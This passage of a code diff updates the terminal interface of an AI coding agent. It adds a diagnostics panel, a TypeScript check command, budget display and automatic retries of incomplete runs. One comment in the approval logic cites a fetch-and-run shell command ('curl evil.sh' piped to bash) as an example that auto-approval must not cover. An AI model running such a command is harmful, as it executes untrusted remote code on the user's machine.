commandPaletteOpen, onCommandPaletteInput,
|
|
81
152
|
approvalDialogOpen, approvalDenyReasonMode,
|
|
@@ -85,7 +156,7 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
85
156
|
});
|
|
86
157
|
callbacksRef.current = {
|
|
87
158
|
onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
|
|
88
|
-
onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm,
|
|
159
|
+
onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
|
|
89
160
|
onPageUp, onPageDown, onHome, onEnd,
|
|
90
161
|
commandPaletteOpen, onCommandPaletteInput,
|
|
91
162
|
approvalDialogOpen, approvalDenyReasonMode,
|
|
@@ -149,6 +220,11 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
149
220
|
cb.onToggleSwarm?.();
|
|
150
221
|
return;
|
|
151
222
|
}
|
|
223
|
+
// Alt+Y / Option+Y - Toggle diagnostics panel
|
|
224
|
+
if (input === '\u00a5' || (key.meta && input === 'y')) {
|
|
225
|
+
cb.onToggleDiagnostics?.();
|
|
226
|
+
return;
|
|
227
|
+
}
|
|
152
228
|
// Command palette keyboard handling (when open)
|
|
153
229
|
if (cb.commandPaletteOpen && cb.onCommandPaletteInput) {
|
|
154
230
|
cb.onCommandPaletteInput(input, key);
|
|
@@ -334,6 +410,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
334
410
|
const [toolCalls, setToolCalls] = useState([]);
|
|
335
411
|
const [currentThemeName, setCurrentThemeName] = useState(theme);
|
|
336
412
|
const [contextTokens, setContextTokens] = useState(0);
|
|
413
|
+
const [budgetPct, setBudgetPct] = useState(0);
|
|
337
414
|
const [elapsedTime, setElapsedTime] = useState(0);
|
|
338
415
|
const processingStartRef = useRef(null);
|
|
339
416
|
// Command history manager (persistent)
|
|
@@ -346,6 +423,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
346
423
|
const debugBuffer = useDebugBuffer(100);
|
|
347
424
|
const [executionMode, setExecutionMode] = useState('idle');
|
|
348
425
|
const executionModeRef = useRef('idle');
|
|
426
|
+
const executionDrainTimerRef = useRef(null);
|
|
349
427
|
// Display toggles
|
|
350
428
|
const [toolCallsExpanded, setToolCallsExpanded] = useState(false);
|
|
351
429
|
const [showThinking, setShowThinking] = useState(true);
|
|
@@ -354,6 +432,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
354
432
|
const [tasksExpanded, setTasksExpanded] = useState(true);
|
|
355
433
|
const [debugExpanded, setDebugExpanded] = useState(false);
|
|
356
434
|
const [swarmExpanded, setSwarmExpanded] = useState(true);
|
|
435
|
+
const [diagExpanded, setDiagExpanded] = useState(false);
|
|
357
436
|
// Swarm status tracking (for Swarm Status Panel)
|
|
358
437
|
const [swarmStatus, setSwarmStatus] = useState(null);
|
|
359
438
|
// Active agents tracking (for Active Agents Panel)
|
|
@@ -383,6 +462,19 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
383
462
|
isProcessingRef.current = isProcessing;
|
|
384
463
|
messagesLengthRef.current = messages.length;
|
|
385
464
|
pendingApprovalRef.current = pendingApproval;
|
|
465
|
+
const finishExecutionMode = useCallback(() => {
|
|
466
|
+
if (executionDrainTimerRef.current) {
|
|
467
|
+
clearTimeout(executionDrainTimerRef.current);
|
|
468
|
+
executionDrainTimerRef.current = null;
|
|
469
|
+
}
|
|
470
|
+
executionModeRef.current = 'draining';
|
|
471
|
+
setExecutionMode('draining');
|
|
472
|
+
executionDrainTimerRef.current = setTimeout(() => {
|
|
473
|
+
executionModeRef.current = 'idle';
|
|
474
|
+
setExecutionMode('idle');
|
|
475
|
+
executionDrainTimerRef.current = null;
|
|
476
|
+
}, 400);
|
|
477
|
+
}, []);
|
|
386
478
|
// Derive theme and colors
|
|
387
479
|
const selectedTheme = getTheme(currentThemeName);
|
|
388
480
|
const colors = selectedTheme.colors;
|
|
@@ -416,7 +508,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
416
508
|
const pattern = generateApprovalPattern(request);
|
|
417
509
|
// Only auto-approve low/moderate risk — high/critical always show dialog
|
|
418
510
|
// This prevents e.g. approving "bash:echo" from auto-approving "echo $(curl evil.sh) | bash"
|
|
419
|
-
|
|
511
|
+
const isAllowed = (request.risk === 'low' || request.risk === 'moderate') && (alwaysAllowed.has(pattern) ||
|
|
512
|
+
// Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
|
|
513
|
+
[...alwaysAllowed].some(p => pattern.startsWith(p) && p.endsWith('/')));
|
|
514
|
+
if (isAllowed) {
|
|
420
515
|
// Auto-approve without showing dialog
|
|
421
516
|
approvalBridge?.resolve({ approved: true });
|
|
422
517
|
return;
|
|
@@ -659,6 +754,19 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
659
754
|
addMessage('error', `${prefix} ${errorMsg}`);
|
|
660
755
|
return;
|
|
661
756
|
}
|
|
757
|
+
if (event.type === 'completion.blocked') {
|
|
758
|
+
const e = event;
|
|
759
|
+
const details = e.reasons?.length ? e.reasons.join('\n') : 'Completion blocked by unresolved work.';
|
|
760
|
+
const openTasksLine = e.openTasks
|
|
761
|
+
? `Open tasks: ${e.openTasks.pending} pending, ${e.openTasks.inProgress} in_progress, ${e.openTasks.blocked} blocked`
|
|
762
|
+
: '';
|
|
763
|
+
const constrainedLine = e.diagnostics?.forceTextOnly
|
|
764
|
+
? 'Task continuation is currently suppressed by budget/wrapup force-text mode.'
|
|
765
|
+
: '';
|
|
766
|
+
addMessage('system', `[INCOMPLETE]\n${details}${openTasksLine ? `\n${openTasksLine}` : ''}${constrainedLine ? `\n${constrainedLine}` : ''}`);
|
|
767
|
+
setStatus(s => ({ ...s, mode: 'incomplete' }));
|
|
768
|
+
return;
|
|
769
|
+
}
|
|
662
770
|
// Insight events - also track tokens for active agents
|
|
663
771
|
if (event.type === 'insight.tokens') {
|
|
664
772
|
const e = event;
|
|
@@ -897,14 +1005,20 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
897
1005
|
case 'stats': {
|
|
898
1006
|
const metrics = agent.getMetrics();
|
|
899
1007
|
const agentState = agent.getState();
|
|
900
|
-
|
|
1008
|
+
const lines = [
|
|
901
1009
|
`Session Status:`,
|
|
902
1010
|
` Status: ${agentState.status} | Iteration: ${agentState.iteration}`,
|
|
903
1011
|
` Messages: ${agentState.messages.length}`,
|
|
904
1012
|
` Tokens: ${metrics.totalTokens.toLocaleString()} (${metrics.inputTokens} in / ${metrics.outputTokens} out)`,
|
|
905
1013
|
` LLM Calls: ${metrics.llmCalls} | Tool Calls: ${metrics.toolCalls}`,
|
|
906
1014
|
` Cost: $${metrics.estimatedCost.toFixed(4)}`,
|
|
907
|
-
]
|
|
1015
|
+
];
|
|
1016
|
+
const shared = agent.getSharedStats();
|
|
1017
|
+
if (shared) {
|
|
1018
|
+
lines.push(` Shared Context: ${shared.context.failures} failures, ${shared.context.references} refs`);
|
|
1019
|
+
lines.push(` Shared Economics: ${shared.economics.fingerprints} fingerprints, ${shared.economics.globalLoops.length} doom loops`);
|
|
1020
|
+
}
|
|
1021
|
+
addMessage('system', lines.join('\n'));
|
|
908
1022
|
return;
|
|
909
1023
|
}
|
|
910
1024
|
case 'help':
|
|
@@ -964,6 +1078,9 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
964
1078
|
' /approve [n] Approve plan',
|
|
965
1079
|
' /reject Reject plan',
|
|
966
1080
|
'',
|
|
1081
|
+
'> DIAGNOSTICS',
|
|
1082
|
+
' /tsc Run TypeScript type check',
|
|
1083
|
+
'',
|
|
967
1084
|
'> TRACE ANALYSIS',
|
|
968
1085
|
' /trace Show trace summary',
|
|
969
1086
|
' /trace --analyze Run efficiency analysis',
|
|
@@ -980,6 +1097,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
980
1097
|
' Alt+K Toggle tasks panel',
|
|
981
1098
|
' Alt+D Toggle debug panel',
|
|
982
1099
|
' Alt+W Toggle swarm panel',
|
|
1100
|
+
' Alt+Y Toggle diagnostics panel',
|
|
983
1101
|
'========================',
|
|
984
1102
|
].join('\n'));
|
|
985
1103
|
return;
|
|
@@ -1115,7 +1233,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1115
1233
|
case 'ctx': {
|
|
1116
1234
|
const agentState = agent.getState();
|
|
1117
1235
|
const mcpStats = mcpClient.getContextStats();
|
|
1118
|
-
const estimateTokens = (str) =>
|
|
1236
|
+
const estimateTokens = (str) => estimateTokenCount(str);
|
|
1119
1237
|
const systemPrompt = agent.getSystemPromptWithMode ? agent.getSystemPromptWithMode() : '';
|
|
1120
1238
|
const systemTokens = estimateTokens(systemPrompt);
|
|
1121
1239
|
const mcpTokens = mcpStats.summaryTokens + mcpStats.definitionTokens;
|
|
@@ -1384,8 +1502,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1384
1502
|
addMessage('error', `Plan execution failed: ${e.message}`);
|
|
1385
1503
|
}
|
|
1386
1504
|
finally {
|
|
1387
|
-
|
|
1388
|
-
setExecutionMode('idle');
|
|
1505
|
+
finishExecutionMode();
|
|
1389
1506
|
setIsProcessing(false);
|
|
1390
1507
|
setToolCalls([]);
|
|
1391
1508
|
if (agent.getMode() === 'plan') {
|
|
@@ -1712,6 +1829,29 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1712
1829
|
}
|
|
1713
1830
|
return;
|
|
1714
1831
|
}
|
|
1832
|
+
case 'tsc': {
|
|
1833
|
+
const tcState = agent.getTypeCheckerState();
|
|
1834
|
+
if (!tcState?.tsconfigDir) {
|
|
1835
|
+
addMessage('system', 'No TypeScript project detected (no tsconfig.json found).');
|
|
1836
|
+
return;
|
|
1837
|
+
}
|
|
1838
|
+
addMessage('system', 'Running tsc --noEmit...');
|
|
1839
|
+
const tscResult = await runTypeCheck(tcState.tsconfigDir);
|
|
1840
|
+
tcState.lastResult = tscResult;
|
|
1841
|
+
tcState.tsEditsSinceLastCheck = 0;
|
|
1842
|
+
tcState.hasRunOnce = true;
|
|
1843
|
+
if (tscResult.success) {
|
|
1844
|
+
addMessage('system', `[ok] TypeScript compilation clean (${tscResult.duration}ms)`);
|
|
1845
|
+
}
|
|
1846
|
+
else {
|
|
1847
|
+
const summary = tscResult.errors.slice(0, 10)
|
|
1848
|
+
.map(e => ` ${e.file}(${e.line},${e.column}): ${e.code} — ${e.message}`)
|
|
1849
|
+
.join('\n');
|
|
1850
|
+
addMessage('system', `[X] ${tscResult.errorCount} TypeScript error(s) (${tscResult.duration}ms):\n${summary}`);
|
|
1851
|
+
}
|
|
1852
|
+
transparencyAggregatorRef.current?.processEvent({ type: 'diagnostics.tsc-check', errorCount: tscResult.errorCount, duration: tscResult.duration, trigger: 'manual' });
|
|
1853
|
+
return;
|
|
1854
|
+
}
|
|
1715
1855
|
default:
|
|
1716
1856
|
addMessage('system', `Unknown: /${cmd}. Try /help`);
|
|
1717
1857
|
}
|
|
@@ -1742,14 +1882,29 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1742
1882
|
// Reset CPU time counter for per-prompt resource limits (prevents session-wide timeout)
|
|
1743
1883
|
agent.resetResourceTimer();
|
|
1744
1884
|
try {
|
|
1745
|
-
const
|
|
1885
|
+
const autoLoop = await runWithIncompleteAutoLoop(agent, trimmed, {
|
|
1886
|
+
onRetry: (attempt, maxAttempts) => {
|
|
1887
|
+
setStatus(s => ({ ...s, mode: `recovering ${attempt}/${maxAttempts}` }));
|
|
1888
|
+
addMessage('system', `[AUTO-LOOP] Retrying incomplete run (${attempt}/${maxAttempts})`);
|
|
1889
|
+
},
|
|
1890
|
+
});
|
|
1891
|
+
const result = autoLoop.result;
|
|
1746
1892
|
const metrics = agent.getMetrics();
|
|
1747
1893
|
const modeInfo = agent.getModeInfo();
|
|
1748
|
-
|
|
1894
|
+
const completion = result.completion;
|
|
1895
|
+
const finalMode = completion.success
|
|
1896
|
+
? (modeInfo.name === 'Plan' ? 'ready (plan)' : 'ready')
|
|
1897
|
+
: (completion.reason === 'open_tasks' || completion.reason === 'future_intent' || completion.reason === 'incomplete_action'
|
|
1898
|
+
? 'incomplete'
|
|
1899
|
+
: 'failed');
|
|
1900
|
+
setStatus({ iter: metrics.llmCalls, tokens: metrics.totalTokens, cost: metrics.estimatedCost, mode: finalMode });
|
|
1749
1901
|
// Calculate current context size (what's actually in the window now)
|
|
1750
1902
|
const agentState = agent.getState();
|
|
1751
|
-
const estimateTokens = (str) =>
|
|
1752
|
-
const
|
|
1903
|
+
const estimateTokens = (str) => estimateTokenCount(str);
|
|
1904
|
+
const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
|
|
1905
|
+
// Include system prompt overhead (codebase context, tools, rules)
|
|
1906
|
+
const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
|
|
1907
|
+
const currentContextTokens = messageTokens + systemPromptTokens;
|
|
1753
1908
|
const contextLimit = agent.getMaxContextTokens();
|
|
1754
1909
|
const contextPct = Math.round((currentContextTokens / contextLimit) * 100);
|
|
1755
1910
|
const durationSec = (metrics.duration / 1000).toFixed(1);
|
|
@@ -1768,7 +1923,19 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1768
1923
|
}
|
|
1769
1924
|
}
|
|
1770
1925
|
else {
|
|
1771
|
-
|
|
1926
|
+
const responseText = (result.response != null && result.response.length > 0)
|
|
1927
|
+
? result.response
|
|
1928
|
+
: (result.error || 'No response');
|
|
1929
|
+
if (!result.success) {
|
|
1930
|
+
if (result.completion.reason === 'open_tasks' && result.completion.openTasks) {
|
|
1931
|
+
addMessage('system', `[INCOMPLETE] Open tasks remain: ${result.completion.openTasks.pending} pending, ${result.completion.openTasks.inProgress} in_progress, ${result.completion.openTasks.blocked} blocked`);
|
|
1932
|
+
}
|
|
1933
|
+
else if (result.completion.reason === 'future_intent' || result.completion.reason === 'incomplete_action') {
|
|
1934
|
+
addMessage('system', `[INCOMPLETE] ${result.completion.details || 'Run ended with pending work.'}`);
|
|
1935
|
+
}
|
|
1936
|
+
addMessage('error', `[RUN FAILED] ${result.error || 'The agent did not complete this task successfully.'}`);
|
|
1937
|
+
}
|
|
1938
|
+
addMessage('assistant', responseText + metricsLine);
|
|
1772
1939
|
}
|
|
1773
1940
|
const checkpoint = agent.autoCheckpoint(true);
|
|
1774
1941
|
if (checkpoint) {
|
|
@@ -1794,12 +1961,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1794
1961
|
addMessage('error', e.message);
|
|
1795
1962
|
}
|
|
1796
1963
|
finally {
|
|
1797
|
-
|
|
1798
|
-
setExecutionMode('idle');
|
|
1964
|
+
finishExecutionMode();
|
|
1799
1965
|
setIsProcessing(false);
|
|
1800
1966
|
setToolCalls([]);
|
|
1801
1967
|
}
|
|
1802
|
-
}, [addMessage, handleCommand, agent, sessionStore, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore]);
|
|
1968
|
+
}, [addMessage, handleCommand, agent, sessionStore, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore, finishExecutionMode]);
|
|
1803
1969
|
// =========================================================================
|
|
1804
1970
|
// COMMAND PALETTE ITEMS
|
|
1805
1971
|
// =========================================================================
|
|
@@ -1819,6 +1985,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
1819
1985
|
{ id: 'approve', label: 'Approve Plan', shortcut: '/approve', category: 'Plan', action: () => handleCommand('approve', []) },
|
|
1820
1986
|
{ id: 'reject', label: 'Reject Plan', shortcut: '/reject', category: 'Plan', action: () => handleCommand('reject', []) },
|
|
1821
1987
|
{ id: 'tools', label: 'List Tools', shortcut: '/tools', category: 'Debug', action: () => handleCommand('tools', []) },
|
|
1988
|
+
{ id: 'tsc', label: 'TypeScript Check', shortcut: '/tsc', category: 'Diagnostics', action: () => handleCommand('tsc', []) },
|
|
1822
1989
|
{ id: 'theme', label: 'Change Theme', shortcut: '/theme', category: 'Settings', action: () => handleCommand('theme', []) },
|
|
1823
1990
|
{ id: 'exit', label: 'Exit', shortcut: 'Ctrl+C', category: 'General', action: () => agent.cleanup().then(() => exit()) },
|
|
1824
1991
|
], [handleCommand, agent, exit]);
|
|
@@ -2002,12 +2169,24 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2002
2169
|
const handleToggleSwarm = useCallback(() => {
|
|
2003
2170
|
setSwarmExpanded(prev => !prev);
|
|
2004
2171
|
}, []);
|
|
2005
|
-
|
|
2172
|
+
const handleToggleDiagnostics = useCallback(() => {
|
|
2173
|
+
setDiagExpanded(prev => {
|
|
2174
|
+
addMessage('system', !prev ? '[d] Diagnostics: visible (Alt+Y)' : '[^] Diagnostics: hidden');
|
|
2175
|
+
return !prev;
|
|
2176
|
+
});
|
|
2177
|
+
}, [addMessage]);
|
|
2178
|
+
// Update context tokens (include system prompt overhead) and budget health
|
|
2006
2179
|
useEffect(() => {
|
|
2007
2180
|
const agentState = agent.getState();
|
|
2008
|
-
const estimateTokens = (str) =>
|
|
2009
|
-
const
|
|
2010
|
-
|
|
2181
|
+
const estimateTokens = (str) => estimateTokenCount(str);
|
|
2182
|
+
const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
|
|
2183
|
+
const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
|
|
2184
|
+
setContextTokens(messageTokens + systemPromptTokens);
|
|
2185
|
+
// Update budget health from economics system
|
|
2186
|
+
const budgetUsage = agent.getBudgetUsage?.();
|
|
2187
|
+
if (budgetUsage) {
|
|
2188
|
+
setBudgetPct(Math.round(budgetUsage.percentUsed));
|
|
2189
|
+
}
|
|
2011
2190
|
}, [status.tokens, messages.length, agent]);
|
|
2012
2191
|
// Track elapsed time
|
|
2013
2192
|
useEffect(() => {
|
|
@@ -2043,7 +2222,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2043
2222
|
args: pendingApproval.args || {},
|
|
2044
2223
|
risk: pendingApproval.risk,
|
|
2045
2224
|
context: pendingApproval.context,
|
|
2046
|
-
}, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval, borderColor: pendingApproval ? '#FFD700' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
|
|
2225
|
+
}, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? { lastTscResult: null, recentSyntaxErrors: [] }, typeCheckerState: agent.getTypeCheckerState(), astCacheStats: diagExpanded ? getASTCacheStats() : null, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval, borderColor: pendingApproval ? '#FFD700' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
|
|
2047
2226
|
setCommandPaletteOpen(false);
|
|
2048
2227
|
setCommandPaletteQuery('');
|
|
2049
2228
|
setCommandPaletteIndex(0);
|
|
@@ -2052,9 +2231,16 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2052
2231
|
setCommandPaletteOpen(false);
|
|
2053
2232
|
setCommandPaletteQuery('');
|
|
2054
2233
|
setCommandPaletteIndex(0);
|
|
2055
|
-
} })), _jsxs(Box, { borderStyle: "single", borderColor: isProcessing ? colors.info : colors.textMuted, paddingX: 1, justifyContent: "space-between", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: isProcessing ? colors.info : '#98FB98', bold: isProcessing, children: isProcessing ? '[~]' : '[*]' }), _jsx(Text, { color: isProcessing ? colors.info : colors.text, bold: isProcessing, children: status.mode.length > 40 ? status.mode.slice(0, 37) + '...' : status.mode }), isProcessing && elapsedTime > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| ", elapsedTime, "s"] }), status.iter > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| iter ", status.iter] })] }), _jsxs(Box, { gap: 2, children: [_jsx(Text, { color: "#DDA0DD", dimColor: true, children: modelShort }), _jsx(Text, { color: contextPct > 70 ? '#FFD700' : colors.textMuted, dimColor: true, children: '[' + '='.repeat(Math.min(8, Math.round((contextPct / 100) * 8))) +
|
|
2234
|
+
} })), _jsxs(Box, { borderStyle: "single", borderColor: isProcessing ? colors.info : colors.textMuted, paddingX: 1, justifyContent: "space-between", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: isProcessing ? colors.info : '#98FB98', bold: isProcessing, children: isProcessing ? '[~]' : '[*]' }), _jsx(Text, { color: isProcessing ? colors.info : colors.text, bold: isProcessing, children: status.mode.length > 40 ? status.mode.slice(0, 37) + '...' : status.mode }), isProcessing && elapsedTime > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| ", elapsedTime, "s"] }), status.iter > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| iter ", status.iter] })] }), _jsxs(Box, { gap: 2, children: [_jsx(Text, { color: "#DDA0DD", dimColor: true, children: modelShort }), _jsx(Text, { color: contextPct > 70 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'ctx:[' + '='.repeat(Math.min(8, Math.round((contextPct / 100) * 8))) +
|
|
2056
2235
|
'-'.repeat(Math.max(0, 8 - Math.round((contextPct / 100) * 8))) + '] ' +
|
|
2057
|
-
contextPct + '%' }), _jsx(Text, { color: "#98FB98", dimColor: true, children: costStr }), gitBranch && _jsx(Text, { color: "#87CEEB", dimColor: true, children: gitBranch }), transparencyState?.activeLearnings && transparencyState.activeLearnings.length > 0 && (_jsxs(Text, { color: "#87CEEB", dimColor: true, children: ["L:", transparencyState.activeLearnings.length] })),
|
|
2236
|
+
contextPct + '%' }), budgetPct > 0 && (_jsx(Text, { color: budgetPct >= 80 ? '#FF6B6B' : budgetPct >= 50 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'bud:' + budgetPct + '%' })), _jsx(Text, { color: "#98FB98", dimColor: true, children: costStr }), gitBranch && _jsx(Text, { color: "#87CEEB", dimColor: true, children: gitBranch }), transparencyState?.activeLearnings && transparencyState.activeLearnings.length > 0 && (_jsxs(Text, { color: "#87CEEB", dimColor: true, children: ["L:", transparencyState.activeLearnings.length] })), agent.getTypeCheckerState()?.tsconfigDir && (() => {
|
|
2237
|
+
const tscRes = transparencyState?.diagnostics?.lastTscResult;
|
|
2238
|
+
if (!tscRes)
|
|
2239
|
+
return _jsx(Text, { color: colors.textMuted, dimColor: true, children: "tsc:\u2014" });
|
|
2240
|
+
if (tscRes.success)
|
|
2241
|
+
return _jsx(Text, { color: "#98FB98", dimColor: true, children: "tsc:[ok]" });
|
|
2242
|
+
return _jsxs(Text, { color: colors.error, dimColor: true, children: ["tsc:[X]", tscRes.errorCount] });
|
|
2243
|
+
})(), _jsx(Text, { color: colors.textMuted, dimColor: true, children: "^P:help" })] })] })] })] }));
|
|
2058
2244
|
}
|
|
2059
2245
|
export default TUIApp;
|
|
2060
2246
|
//# sourceMappingURL=app.js.map
|